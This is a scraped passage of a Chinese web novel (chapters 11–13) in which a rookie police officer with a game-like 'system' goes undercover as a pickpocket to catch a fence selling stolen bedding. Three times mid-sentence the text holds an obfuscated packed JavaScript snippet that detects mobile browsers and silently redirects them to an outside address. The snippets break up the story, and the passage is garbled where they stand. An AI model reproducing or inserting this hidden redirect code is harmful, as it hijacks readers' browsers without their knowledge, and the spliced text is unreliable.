江夏精神瞬间振奋起来,见这面墙没啥脚印,便迅速骑上车,绕到了墙对面。 这边是条小路,还是泥地,白天有不少人走过,脚印也颇为杂乱,但按照朝向,江夏迅速从墙边找到几个可疑的脚印。 她的最强技能总算能用了! 折下树枝,江夏在疑是窃贼的脚印外画了个圈。 跟来的吴所下意识伸手看了眼手表,“这么快你就找到脚印了?” 江夏随口道:“一回生二回熟嘛。” 上次她是第一次实操,要稳妥点,所以才慢,这次有经验能力又升了级,还是在墙角找无太多干扰的脚印,那不快才怪。 江夏很快圈出了窃贼的活动轨迹,以及一辆用来运赃的自行车。 她站在车辙边,从口袋中拿出本子,边写边道: “从现场痕迹看,窃贼是团伙作案,总共有三个,一个十九岁左右,主要负责放风,一个二十一岁上下,是翻墙搬运的主力,还有个大概三十二三的,像是团伙主谋。” 刘科长吩咐完小张就也过来了,听完江夏的话,他懵了一下,确认道: “江同志这是说的贼?” 江夏点点头:“对。” 刘科长更懵了。 不是,这你咋知道的?! 一看他模样,江夏就知道他在想什么。 “这是刑侦中的码踪技术。” 她解释道:“我找到了窃贼的鞋印,通过它推算出了窃贼的年龄和身高体重,您应该听说过?” 很久以前在市局培训时好像还真听说过。 刘科长脑中有了些许印象,但他怎么记得那时主要是看鞋底花纹,什么时候连年龄身高都能看了? 可能是新技术吧。 刘科长看江夏的眼神多了几分敬佩。 不愧是高材生,这会的就是多啊! 吴所沉思着,问道:“小江,除了年龄身高,还能看出更有特征的东西不?” 江夏又仔细看了几眼,无奈摇摇头:“没了。” 她升起几分头疼。 如果要评个标准,那警察最喜欢的犯人,就是有明显特点的。 别管是独眼秃头,还是罗圈腿六根指,这种人数量有限,还足够显眼,堪称是好找又好抓。 而普通人就不一样了,到处都是,一抓一大把,光确认是不是犯人就足够费时费力了。 可偏偏这三个窃贼是平平无奇普通人。 那哪怕目前有了年龄身高体重,范围依旧太广,找起来,也就比大海捞针好一点——成江河捞针了。 算一算,整体难度依旧爆表。 要是里面有个瘸子该多好啊! 这么想着,江夏无奈叹了口气。 “没有啊……” 吴所沉吟片刻,抬头看了眼越发昏暗的天空道: “那就这样吧,小江,你把记下的信息给刘科长,这天快下雨了,咱们总不能淋路上,就早点回去吧。” “啊?” 江夏一怔。 不是,这案子还没破呢,怎么吴所就要走了? 11. 我一眼就看出你不是好人! 江夏不解的发问:“师父?” 吴所没回答,他摆摆手:“一会儿说。” “哎吴所,您怎么说走就走啊?” 刘科长下意识伸手拦人:“您看您帮这么大忙,好歹得留下来吃个饭啊!” “不用。” 吴所对着刘科长道: “现在确定是外来惯偷,也知道年龄身高范围,厂里说不定还有人见过他们,有这些线索在,你们完全能自己查,我们所里事儿多,就不在这里继续耽搁了。” “这,唉,好吧。” 话说到这份上,刘科长也明白了,他不再继续拦人,而是拿起自己车上的车衣和伞放在吴所车上: “那您把这个带上。” “不用不用!” “这必须得带,我请您俩过来帮忙,总不能让您俩淋着回去吧?” “……那我回头再给你送来。” 一番拉扯下来,吴所收下了伞和车衣。 江夏回仓库拿了工具,骑着车,跟吴所返回周营派出所。 她骑了一阵,最终还是没忍住问道:“师父,这案子咱们怎么就不查了?” “你个滑头儿,演啥不知道呢?我刚才不是说了吗,咱们所里事儿多。” 吴所哼了一声,“这三个偷儿不知道是哪个区的,真摸排起来,所里十个人扔进去,跑上半个月,都不一定能见个水花,咱们所哪里有这闲工夫?” 果然。 江夏听完,心里没有生出半点意外。 现在没有即时通讯,没有监控,也没有手机定位,仅有一个模糊的范围,想确定嫌疑人,只能靠双腿一家一户的摸排。 这必然要投入大量的人力物力。 江夏倒是想投,可回想一下自己这几天的工作量,笑死,根本挤不出来时间! 她忍不住仰天长叹:“还是警力不够啊!” “没法,谁让咱们人少呢。” 吴所早二十年就接受了这个现实,很难再有什么情绪了,他平淡的说了一句,但说完又停顿片刻,道: “不过也看案子,像被服厂家大业大的,工人每天拿走废布比这丢的还多,这事儿刘科长顶多也就挨个批,奖金和评优评干没了,不查也没事,可若是遇上董爱华家的情况,那就不能考虑忙不忙了,必须下力气狠查!” 江夏跟着点了点头。 吴所终究是吴所,不是吕福生,没时时刻刻想偷懒,是人力着实有限,只能把精力放更要紧的案子上。 而且,吴所说的也有道理,毕竟是大工厂,丢几包货也没什么影响。 话虽如此,可江夏心里还是有些不甘。 这样老道的惯偷,天知道已经偷了多少次,说不定累计金额都能破六位数,保不齐,还有其它严重犯罪。 她就这么眼睁睁的看犯罪分子继续逍遥法外? 可所里又真挤不出人手…… 江夏愤愤的用力踩下车蹬。 这查个犯人,怎么就这么难呢! 迎面而来的风吹过她的头发,带来清爽的凉意,那升起的焦躁仿佛也跟着褪去了几分。 有老人提着菜篮,步伐缓慢的从人行道上走过。 江夏看着菜篮上搭着的毛巾,心头忽然一动。 “师父,咱们不好查人,可以查货啊!” 吴所有些无奈:“这都骑半路了,你还想着呢?” 不过江夏这脑子是真够灵活,查货着实是个不错的方向,就是…… “这查货有点儿用,但不多。” 吴所摇了摇头,“像这种惯偷,多是找个二把头一口气全卖了,快速销赃,然后二把头再找人分销。” “这活儿不干净,干的人都警惕,没熟人带着,根本见不到二把头,咱们也只能在黑市蹲外围一级级的抓,等抓到二把头,估摸着那三个惯偷早就听到风声溜了。” 等等,熟人带着? 江夏突然想起来系统奖励的称号。 佩戴后,‘同行’可是能直接增加20%的好感度的! 若自己装成小偷,佩戴上称号,请同行引荐…… 那说不定就能直接见到二把头了! 只要知道他是谁,在哪里,那不就好抓了嘛! 江夏越想越觉得此事可行,她立马道:“师父,给我半天假吧,我去黑市转转,说不定就能碰到什么呢。” 吴所有些无奈。 这孩子,怎么就这么犟呢? 不过想破案,也不是什么坏事,半天时间也耽搁起,让她碰碰壁,知道难,以后也就不想了。 “行吧。” 虽是这么想,但吴所仍旧认真出了主意:“他们昨天晚上刚偷的货,没那么快转卖出去,你等两天,后天再去黑市碰碰运气。” 江夏连连点头:“没问题!” * 时间一晃而过。 这天上午,江夏没急着出门,而是翻出了母亲带着补丁的旧衣服,套在了自己身上。 卧底嘛,行为打扮自然要往同行上偏,至少得去掉身上的那股班味才行。 坐在桌前,江夏拿出假发掺在头发里,编成一条粗长的单股麻花辫垂在身前,又照着镜子,往脸上抹了些颜色更深的粉底膏。 很快,一个皮肤略黑,像是乡下土妞的姑娘就出现在了镜子里。 江夏满意的点了点头。 这模样气质,谁能想到她是警察? 她准备试试称号佩戴的效果。 江夏调出系统。 一佩戴,她就突然觉得镜子里的自己极其令人讨厌。 明明模样没有变化,可刚才的自己看起来质朴亲切,现在则眼神飘飘忽忽的,摸辫子的手也让人觉着不安分……总之,一看就不是个好人! 不是,这合理吗? 江夏顿了一下,想起来自己的职业。 好吧,这恒河里。 她沉默片刻,麻溜的撤下了称号。 果然是系统出品,必属精品,称号很有效,加成杠杠的,她还是先别带了,不然连辖区都出不去。 最后检查一遍,确定没有问题后,江夏走出了家。 她坐上公交车,前往梧桐街。 那是本市最知名的黑市地点。 它距离车站不远,人流量多,旁边就是未曾改建的住宅区,里面道路错综复杂,很适合商谈后私下交易,要是遇上警察抓人,也能借着地形快速跑掉。 人多,扒手就像闻见血味的鲨鱼,也跟着聚了过来。 沿着这条路走了个来回,江夏很快锁定了几个同行,并确定老大是谁。 华哥,本名不知,才三十岁出头,做派却像个老大爷,此刻正坐在树荫下,一只手拿着蒲扇,另一只则掏着瓜子儿,边磕边瞄着这条街。 江夏给自己佩戴上称号,走到对方面前,从口袋中掏出一盒金灿灿的香烟,问道:“大哥,恁抽烟不?” 黄金叶?上道啊! 华哥瞄了一眼江夏,瞬间觉着面前这姑娘特别顺眼,他调整了下坐姿,又细看了几眼,心下了然: “是新来拜码头的?哪个门里的?” “荣门,俺还没出师,就是个小柳。” 江夏操着北方口音回道:“俺随师父过个路,想从这里耍耍,再进点货。” 说着,她拆开烟盒,从中取出一根烟,递到对方面前。 华哥没有拒绝,他伸手接过。 江夏又从口袋里取出火柴,给对方点燃。 华哥深吸一口,徐徐吐出烟圈,满意道:“不错,懂规矩!” “说说,你们是吃白天饭,还是晚上饭?” “吃晚上饭,不过也吃白天饭。” 江夏略有些腼腆的笑了笑,“这活儿久,俺就出来逛逛,打算给俺哥置办点家当,他要讨老婆勒,大哥,恁知道哪里有好布不,最好是红哩,喜庆。” 华哥有些惊讶,“呦,你这妹子还给大哥办家当?” “俺是哥带大嘞。” 江夏谎话说来就来,眼睛都不带眨的,“不过俺也没啥积蓄,三转一响可置不了,就弄点面子功夫,要是有成品就更好了,省得俺再找人做。” 若是在平常,华哥压根不会和刚见面的小柳聊这么深,可今天他就是觉着面前这个后辈顺眼,听对方要置办结婚用的布品,也跟着往下想了起来。 “喜庆的……” 华哥手中的扇子一扇,“红布没有,不过巧了,我兄弟刚得了些床单枕套,大红印花,可喜庆了,你要不要?” 刚得的床单枕套,还是大红印花? 这特征和被服厂被偷的货物极度吻合! 江夏心中一喜,面上却没有表露分毫,反而犹豫着问道:“俺能先看看不?” “行啊。” 华哥爽快的答应道:“反正也不远,走,我带着你去。” 江夏一怔。 不是吧,这么顺利? 她很快反应过来,这八成是系统的功劳。 没想到20%的好感度能这么有效,江夏忍不住在心里感慨。 系统,你有德啊! 她以后再也不说系统坑了,看看,这多有用啊! 跟着华哥,江夏走进一条小巷,拐了几道弯,来到了一处小院前。 院子不大,也就五六个平方,里面有间平房,一个秃发男人正坐在屋内,就着花生喝小酒。 “老哥,你这日子过的可真舒坦!” 华哥推开门,径直走了进去。 “华子?你怎么过来了?”何秃子抬起头,一眼就看到了跟在华哥身后的江夏,眉头微皱,“还带了个生人?” “我这可是来给你送生意的!” 华哥理直气壮的,指着何秃子对江夏道:“这家伙是我们这有名的二把头,给价也实惠,你收来的东西可以找他出,当然,越贵越小越好,尤其是金的银的能转的。” 江夏点点头,维持着人设问道:“那给啥价?” 何秃子没有回答,他警惕地向华哥问道:“这是哪个道上的?” “忘了说了。” 华哥道:“外边来的小柳,来这里混几天饭就走。” “小柳?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17357723|199697||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 何秃子上下打量着江夏,眼中是止不住的怀疑,“你试过她本事了?” 看他模样,江夏瞬间反应过来。 二道贩子的何秃子不算同行,系统称号效果可能打了折扣,甚至是直接失效了。 没有系统的降智光环,那让他继续怀疑下去可不妙,江夏果断决定露上一手,坐实小柳的身份来取信对方。 “俺师父没啥名气,就姓李,那片儿都叫他老李头。” 她笑着上前两步,站到何秃子面前拉近距离,“俺还没出师,没啥本事。” 这话说了简直和没说一样。 何秃子眉头拧紧,怀疑的眼中多了几分凶光,他面色不善道:“你这打什么马虎眼?赶紧说,到底是什么身份!” “华哥不都说了嘛,小柳啊,俺又没骗人,就献个丑,让恁看看俺不是骗子。” 说着,江夏在他旁边坐下,在对方即将翻脸前,朝他伸了出手。 那手掌中,正静静平躺着一把由红绳串的钥匙串。 何秃子瞬间一愣。 这钥匙怎么这么眼熟?就像我家……他反应过来,连忙伸手掏自己口袋。 空的。 对方手上的钥匙就是他的! 何秃子愕然,哪怕知道对方刚才从他兜里掏了钥匙,他也回忆不出来对方何时动的手。 这手艺,高啊! “嘿,真是道上的,哥哥我给你陪个不是。” 能练到这种程度,不知道得多少年,肯定打小就是道上的人,何秃子眼中怀疑瞬间消失,他从江夏手中拿回钥匙,人也变得热情起来: “妹子有本事哈,我都不知道钥匙怎么没得,你这手艺迟早能发大财,以后要来我这里出东西,我给你个实惠价,跟华子一样,都这个数!” 说着,何秃子朝江夏比了个数字三。 这是指原价的三成。 毕竟是赃物,如果利润不高,二道贩子肯定不会冒着风险去收,能给个三成,就已经算是高价了。 “大哥爽快!” 江夏维持着人设,她满意点点头,又道:“俺听华哥说,你这里还有床单枕套,也给我来两套呗。咱们以后还有生意要做,你可得给个实惠价。” “好嘛,我说怎么提前问价,原来是在这儿等着我呢!” 何秃子状若不满,“算了算了,看妹子你心成,我也不多收,就赚个辛苦费,二十,怎么样?” 这差不多是四折,江夏像真买家似的,略微思索,才点头同意。 “成!” 她拿出钱,点够钞票,放在何秃子桌上。 “得勒。” 何秃子放下筷子,“你在这里等会儿,我去给你拿。” 说着,何秃子从椅子上拿起空布包走了出去,不一会儿,就拎着鼓鼓囊囊的布包回来了。 “妹子你看看。” 江夏打开包,淡粉色的床单瞬间映入眼帘,上面的印花和被服厂挂着的那条样品一模一样! 确认了,这就是被服厂丢的货! “这床单真好看。” 江夏稳住心神,她抬起头,笑着对着面前的何秃子谢道:“大哥你太好了,我以后一定来找你。” 你放心嗷,下午我就带人来抓你! 何秃子完全没查到异样,他还盘算着接下来能从江夏手里收到什么好货,听她这么说,连连答应,“好,一定来找我啊!” 拿着物证,江夏和对方告别后,与华哥一起往回走。 路上,华哥叼着烟。 他脑海中还想着江夏刚才那手。 都是荣门,他自然懂里面的道道,何秃子不知道,他这个旁观者却看的清楚,刚才江夏是刻意用语言吸引对方注意力在她脸上,趁机靠近,在坐下的瞬间摸了他的兜。 可这说起来简单,做起来却难如登天,即便是华哥自己,也没有绝对成功的把握。 这妹子哪里是未出师的小柳?分明是能独当一面的老细! 什么人能教出这样的徒弟? 华哥心生好奇,他道:“话说,妹子你师父来多久了?有时间咱们一起喝个酒啊。” 线索全部到手,江夏开始想要如何脱身,她敷衍着回答:“没多久,也就七八天吧。” “七八天?” 华哥咂摸着这个时间,忽然想起了什么,问道:“那你们是十七号来——” “警察!” “站住,不许动!” 话还未说完,三个不知道何时出现的身形就如饿虎扑食般朝他们扑了过来。 华哥话瞬间止住。 “有条子?!快跑!” 秉承着最后一点良心,华哥提醒了江夏一句,紧接着脚就一拐,撒丫子朝前狂奔。 江夏一怔,还没反应过来,‘砰’的一声就被人摁在地上。 一道年轻声音从她背后响起,里面满是兴奋。 “师父,我一看这女的就知道她不是好人!看看这床单,肯定是在投机倒把!” 啊??? 不是,等等,这不对吧! 12. 我怎么不知道你还有这本事呢? 嗯…… 好像还挺对的。 想起称号的负面效果,江夏向系统比了个中指。 我刚夸了你啊,结果又给我整这出。 真就不坑她一把不开心是吧? 心底问候着系统,江夏人已经半跪在地上,肩膀被人摁着,手也被拧在身后。 年轻片警曹诚正兴奋的给她上手铐,面对犯人,他动作自然不会温柔,扯的江夏胳膊生疼。 想想自己出门前看称号佩戴的效果,江夏没第一时间说出自己的身份,而是先用意念控制着系统解除‘贼王’的称号佩戴,这才闷闷开口: “兄弟,动作轻点,我是你同事,周营派出所的江夏,过来侦查案子线索的,不信你回去打电话问问。” “闭嘴,谁是你兄弟!” 还未等江夏说完,曹诚就出言呵斥,可刚呵斥完,他就听到了后半段。 说的有名有姓,还让他直接打电话去问。 这让曹诚手上的动作一停。 他不会真抓了个同事吧? 再看自己摁着的还是个年轻姑娘,曹诚脸像打翻油漆桶,瞬间变得五颜六色的。 说起来也是奇了,刚才曹诚看她,怎么都觉着可疑,就想赶紧把她给铐上。 现在一知道身份,嘿,人立马不一样了,动作明显能看出来警校生的痕迹,脸上也带着几分正气。 曹诚下意识朝江夏脸上看了好几眼。 这变化是不是太大了? 自己刚才眼花了? 怀疑着自己,再想想对方刚才在干啥,曹诚头就开始大了。 “师父,这怎么办啊?” 一旁的老警颇为淡定。 “就这样不用动,先把人带回所里问清楚了再说。” 江夏十分配合的被押送到了他们派出所。 还别说,这经历挺新奇的,如果没那么多人围观就更好了。 安坪派出所。 办公室内,江夏坐在椅子上,活动着手腕。 几个本所的片警时不时盯着她的脸瞧,再朝着曹诚说几句类似“一点儿也不像”的话来。 曹诚脸色涨的通红。 “嗳,好,不用来接人,啊……也行。” 本所的杨副所长‘咔嚓’一下挂断电话,转头笑眯眯的对江夏道:“身份核实了,小江你就在所里等会儿,有人来接你。” 江夏点点头:“谢谢杨所了。” “没事没事。” 杨副所长摆了摆手,随即又关心的反问道:“对了,今天抓你,不会惊醒你们查的嫌犯吧?” “不会。” 江夏自信道:“他们知道我嘴很严的。” 这不是实话。 实话是华哥和何秃子认为她是道上的,懂规矩,绝不会向警察举报他们。 这并不是道上的人讲良心义气,都是坑蒙拐骗的好手,谁有这东西?主要是道上混的,手脚都不干净,鬼知道犯多少罪呢,少交代,不交代才能尽快出来,不然,就要拘留转监狱服刑去了! “那就行。” 杨副所长也不多问,确定他们的行为没有影响后,就去忙自己的事情了。 江夏等着人来接。 她也没闲着,脱掉打着补丁的外衣,接了盆水,用胰子把脸洗干净,又拆下来了假发,重新扎好头发。 这一番下来,乍一看,跟换了个人似的,就算华哥就在外面盯着,看见她也不会起疑。 没过多久,来接她的人就到了。 是胡伟。 他骑着二八大杠,将车一停,快步进了办公室,态度严肃的和杨副所长问好,解释了两句,就招呼江夏离开。 一出门,对方就维持不住表情了。 他咧开嘴,露出八颗大白牙,笑的声儿都出来了。 “江夏,你今天不是去侦查吗?怎么被逮了?” “咋了,这说明我演的真啊!” 这又不是丢车,也没什么丢脸的,江夏晃了晃手中用外套包裹的证物,也就是那两套床单枕套,抬起头俯视着他道: “二道贩子我找到了,证物就在这里,服气不?” “服!” 胡伟推着自行车调过车头,侧身伸手做了个请的姿势:“大功臣请上座,咱们赶紧回去讨论下怎么抓捕。” 江夏将衣物放进前车筐,人侧着坐上后座。 胡伟脚踩上车蹬,一个用力,车就窜了出去。 没多久,两人就回到了所里。 时间已经临近中午。 江夏从车上跳下,拿起车筐的证物,就往办公室走,还没进门,一股浓郁的肉香就往鼻子里窜。 她打眼一看,嘿,办公室里竟有个熟人,火车站的那个老乘警! 他正站在吴所旁边,身前还放了个大食盒,香味就是从里面传出来的。 看起来收获很大啊,都直接带着吃的上门道谢了。 江夏想通缘由,她提着证物踏进办公室,喊道:“师父,我回来了。” “江同志你回来了啊!” 没等吴所开口,老乘警就先招呼起来,他上前了两步,握住了江夏的手上下摇晃: “多亏了你给的画像,我们才能确定整个团伙成员,前个前去抓捕,嘿,一口气端了三个贼窝,抓了十几号人,里面两个有通缉令,其中一个还杀过人!” 嚯! 江夏吃了一惊。 怪不得老乘警这么高兴,这么大的立功,至少能得个嘉奖,今年的升职加薪也不用愁了,可不得来道谢嘛。 就是吴所的表情有点复杂。 多大的功劳啊,就这么直接送给兄弟单位了! 哪怕知道这里面运气的成分偏多,但吴所还是有点不得劲儿。 就像大部分人不会讨厌钱一样,吴所也希望所里这种天上掉下来立功越多越好。 手里拿着那张头像,想着这是谁亲手送出去的,再看着刚回来的江夏,吴所不由得幽幽开口: “小江,我还不知道你有这本事呢。” 江夏笑容有点僵硬了。 “哈,哈哈,之前不是用不到嘛。” 她轻咳一声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17357724|199697||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,赶紧将手中提着的证物往桌上一放: “那个师父,我找到出售赃物的二把头了,还有证物,你看,这床单和被服厂丢的那批货一模一样!” “喔?” 吴所颇为惊讶。 杨副所长电话里可没提这事,他以为江夏侦查时被误认为投机倒把,所以才被抓起来了,没想到直接找二把头那里去了? 乖乖,他这收的徒弟是真有本事啊。 吴所伸手扯起床单一角翻看着,“还真是一模一样,也没仓库堆久的霉土味,应该就是被服厂丢的那批,好啊,把人一抓,这案子就能破了!” “二把手警惕着呢,你能找到也不一般啊。” 吴所心情不错的开起玩笑:“小江,你还有啥会的我不知道,提前给师父我说说,我好有个心理准备。” “没啦师父。” 江夏干笑两声,摊开手,“我就会这些。” 她倒是还会别的,但说出来,师父分分钟就得患上高血压,还是捂紧点比较好。 “看起来我这来的有点儿不巧。” 听到现在,老乘警也明白过来,江夏他们办的案子,已经到了收尾抓捕的阶段,正赶时间呢。 “那要不我就先回去了?” “别介啊。” 哪有别人提着菜上门请客吃饭,结果连饭都没吃就走的? 吴所赶忙伸手将人拦下。 “我们这人都不在的,要抓也得等下午人到齐了再说,咱们先吃饭,吃完饭再说。” “就是。” 江夏也出言道:“总得等我先把人像给画出来吧,不然到时候抓错了怎么办?” 老乘警止住了脚步:“那好,咱们就先吃饭。” 提着食盒,四人来到了锅炉房。 胡伟擦干净小桌,老乘警将食盒内的饭菜一一拿了出来。 菜不多,只有四道,不过都是硬菜,炖鸡,片好的肘子,粉蒸肉,油焖大虾,全都是江夏爱吃的。 这场宴请就是为她而来,江夏也不客气,说了动筷,那夹起带皮肘子就开吃。 素菜吃多了就发现,肥肘子是真香真好吃啊! 下午还要抓捕,吴所也没有喝酒,他剥着虾,慢悠悠道:“这菜老秦你可是大出血了啊。” “高兴嘛!” 老乘警喝了口水,他回想起前日抓捕的场景,道:“也是巧了,我们当时只是想等着他们聚一起一锅端,没成想居然有三个团伙在一起聚会,正好,全都给抓了!” 吴所有些不解,“这些人没事聚一起干啥?” 老乘警眯着眼睛回忆,“说是在打听一个挺能偷的贼王。” 江夏夹菜的手一顿。 不会吧,这么巧? “就小江指认的那个团伙,他们在火车上遇到了个反偷他们钱包的贼,听说实力特别高,把他们吓得不轻,所以请人聚餐打听,这才被我们给一锅端了。” 说着,老乘警忽然想起了什么,看向江夏: “说起来也巧,那贼王好像就在小江你回来的那趟车上呢!” 13. 怎么就这么难呢? 哈,哈哈。 江夏悬着的心终于死了。 她说最近声望值怎么哐哐的涨呢,都已经到八十多了,原来全靠他们宣传啊! “是嘛?那还真挺巧的。” 深吸口气,江夏淡定的夹了块鸡肉。 贼王是贼王,和她江夏有什么关系? “是啊,他们可怕这贼留在本地呢。” 老乘警又道:“不过依我看,这种本事大的贼,也看不上咱们这种小地方,估摸着就是随车路过罢了。” 对对对,我也是这么想的! 江夏心里点着头,赶紧将话题引到另一边:“话说这么多贼聚一块,好抓吗?” “那是挺惊险的,我们也没预料到有那么多人,差点就……” 老乘警开始讲抓捕和审讯的惊险故事,当然,其中添加了不少油和醋的成分,经历多的吴所没多少兴致,给面子捧了个人场,倒是胡伟听的极为兴奋,连筷子都不动了。 不提贼王,江夏也不再多说,她时不时的应和两句,并加快了吃饭的速度。 她不想带队去抓何秃子了。 毕竟今天自己为了尽快取信他,不得不露了一手,让何秃子知道了她会摸兜,而且手艺极高。 而她虽然做了伪装,但这又不是换脸,离远了乍一看认不出来,靠近了仔细瞧,仍能确定是一个人,保不齐,抓捕的时候就会被认出来。 为了吴所的心脏考虑,江夏觉着自己还是不去为好。 只是吴所肯定希望她来带队,毕竟只有她去过何秃子家,而吴所他们都没去过,也不知道他长什么样。 江夏得把后面解决了,才能再找理由不去。 所以快速吃完饭,她就回办公室拿了个本子,嗖嗖的画了起来。 不喝酒,那吃饭速度就快很多了,即便侃着大山,四十多分钟下来,饭也吃完了。 老乘警清楚吴所下午还有事要忙,也没再多留,把盖了单位公章的感谢信留下,将四个空盘收回食盒,挥挥手走了。 吴所给自己泡了杯浓茶。 他有预感,今天可有的忙了。 端着捏搪瓷杯回到办公室,吴所就看到了江夏桌上放着的几张画。 除草稿外,主要有三张。 一张是个人脸,画着个三四十岁的男人,脸微圆,三角眼,头发稀稀拉拉的。 还有一张是个院门口,贴着倒福春联,小破门边还有截断的木门框。 除此之外,还有张地形图,路线标注的极其完备。 “准备的这么全?” 吴所拿起人像,眯起眼仔细看着这人的模样:“这就是你说的何秃子?” “对。” 江夏将地图下,她捂着嘴,极其困倦的打了个哈欠。 “我看得清楚,屋里面还有床铺,他肯定就住在那里,不过脏物都藏在了外面,应该不远,我买时他取东西来回也就用了七八分钟,在外面搜搜就能搜到。” “那就更好办了。” 能捉贼捉赃自然是最好,后续审起来也没什么顾忌。 吴所扫了一眼江夏,见她面容疲倦,眼圈还有点泛黑,低头略微沉吟,道:“你这一上午肯定也累得不轻,要不下午就别去了,就在所里好好休息吧。” 自家的大青牛,耕完地必须得好水好草料的伺候着,不然累坏了怎么办? 江夏迟疑道:“我不带路能行吗?” “放心吧。” 吴所晃了晃画像,纸张在空气中发出哗啦的声响。 “以前只有个人名都能抓到人,现在画像地图都有的,还愁抓不到?你就在所里等好消息吧!” “啊,那行吧。” 江夏面上勉强的答应,心里却已经乐开了花。 嘿嘿,她就知道吴所舍不得让她累着,装扮做好,她连提都不用提,吴所直接就让她在所里休息了。 现在只需要等他们抓捕归案就行了! 一到正事,吴所也雷厉风行起来,人还未齐,他就开始部署如何抓捕,等人一到,就麻溜的就率队出发了。 他逃。 他追。 他插翅难飞。 第二天。 派出所。 昨天吴所带着所里人一走,整个下午就没有回来,江夏担心情况,今天特地起了个大早过来。 一进所里大门,江夏就看到了胡伟。 他刚从审讯室出来,手中拿着记录本,两眼已经通红,还带着些许血丝,不过神情却极为亢奋。 “胡哥?你们什么时候回来的?” 江夏出言问道:“怎么样,人抓到了没?” “都抓到了!” 胡伟兴奋道,“销赃的二把头和那三个贼都抓到了,我们趁热打铁,直接连夜审讯,让他们摞出来好几个案子,你不知道,这帮孙子最大一笔竟偷了一万多块钱!” “嘶——” 江夏倒吸口凉气。 果然如她所料,这帮家伙不止犯了一次案,就是没想到,其中居然有这么大的案子。 还好把他们抓住了。 江夏回忆着刑法道:“连续盗窃,数额还这么大,基本上能判个无期了。” “是啊,也算是让他们吃上国家饭了。” 胡伟使劲揉了下眼,他现在困得要死,可精神又极其亢奋,想睡也睡不着,可再不休息,明后天肯定颓的没法工作,只能道: “我先回家睡会儿,下午再来上班,有事儿就请你帮我顶一下了。” 说着,胡伟将记录本递给江夏。 “没问题。” 江夏接过笔记,心情极好的进了办公室。 办公室里空荡荡的,只有胡伟师父沈豁达正躺在并排椅子上呼呼大睡,呼噜打的震天响。 看起来昨天也累得不轻。 江夏没有喊他,轻手轻脚的收拾了下桌子,打开记录本看审讯的口供。 很好,何秃子虽然也交代了几个人,但并没有提到她。 这下事情完美了。 江夏的心彻底放了下来。 “今天来这么早?” 吴所从门口走了进来,他手中提着纸袋,“没吃饭吧,我买了国营饭店的大肉包子,来,你也吃个。” 说着,吴所就从纸袋中取出还冒着热气的肉包,不由分说的直接塞到江夏手中。 他这徒弟可真是个福星,一万多块钱的盗窃案呢,哪怕是顺带破的,那也是立功,可得给功臣补补。 都直接强塞了,江夏也没拒绝。 她张嘴咬了口肉包,薄薄的皮下就是充盈的肉馅,肉汁紧跟着涌入,咸鲜在口腔中爆炸,翻滚,香的人直迷糊。 不愧是国营饭店的手艺,这包子是真好吃。 就是有点儿太烫了。 江夏放慢了进食,她看着吴所眼下的青色,问道:“师父您昨天也一晚上没休息?” “没,我后半夜就去睡了,是老沈负责审的。” 吴所看着江夏,越看越欢喜。 “我记得你来所里也就一周多?” “对,今天正好是第十天。”江夏点头道:“怎么了师父?” “十天破两案的新人,我可是第一次见。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17357725|199697||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 吴所笑着道:“其中还有个重案,再加上老秦给的感谢信,光这些,你今年就能得个区里的表彰。” 现实不是小说,哪怕是一个区级表彰,也不是随便就拿到的,毕竟每年名额就三个,竞争者却有上千。 吴所觉着她能拿到,说明她着实不赖。 江夏笑笑,脑子一转,就想起了系统。 “区里的表彰哪够让师父您有面啊,您要不再给我点助力,让我多破几个案子,冲冲市里的表彰呗。” “哦?” 吴所挑了下眉:“什么助力?” “让我搞点研究呗!”江夏道:“这对破案帮助很大的,就这次被服厂的案子,我要不看锁痕,根本没法确定是惯偷作案。” 吴所:…… 这徒弟怎么就放不下她的研究呢? 他很怀疑自己这徒弟到底是想搞研究,还是想打着旗号搞撬锁。 “说起来。” 他摸了摸下巴,“你前个用马蹄镜看的,好像叫什么痕检?” “对,这个市局里就有专职。” 眼见吴所态度松动,江夏连忙道:“您以后就让我多看看,也能精进精进辨别水平不是?” “奥——” 吴所拉长了音调,随即坚定的拒绝:“不行。” 这反转让江夏瞬间一愣:“为啥啊!” 吴所学着江夏,把手一摊,道:“别以为我不知道搞研究费钱,你这弄起来不知道要撬多少把锁呢,咱们所一穷二白的,哪有钱给你买锁拆。” 居然是因为钱不同意? 这理由太过意外,却又该死的合理,江夏差点没喷出一口老血。 “我可以自己出……” “不行不行,你那还得养家呢,哪能扔这种无底洞进来?” 吴所摆着手,“你会那么多,就搞点省钱的呗,我看画像就不错,昨天那张何秃子画的简直绝了,跟真人一模一样,你以后要不多练练这个,最好别人说罪犯长什么样,你就画什么样,跟照相似的,那我们抓人就方便了!” 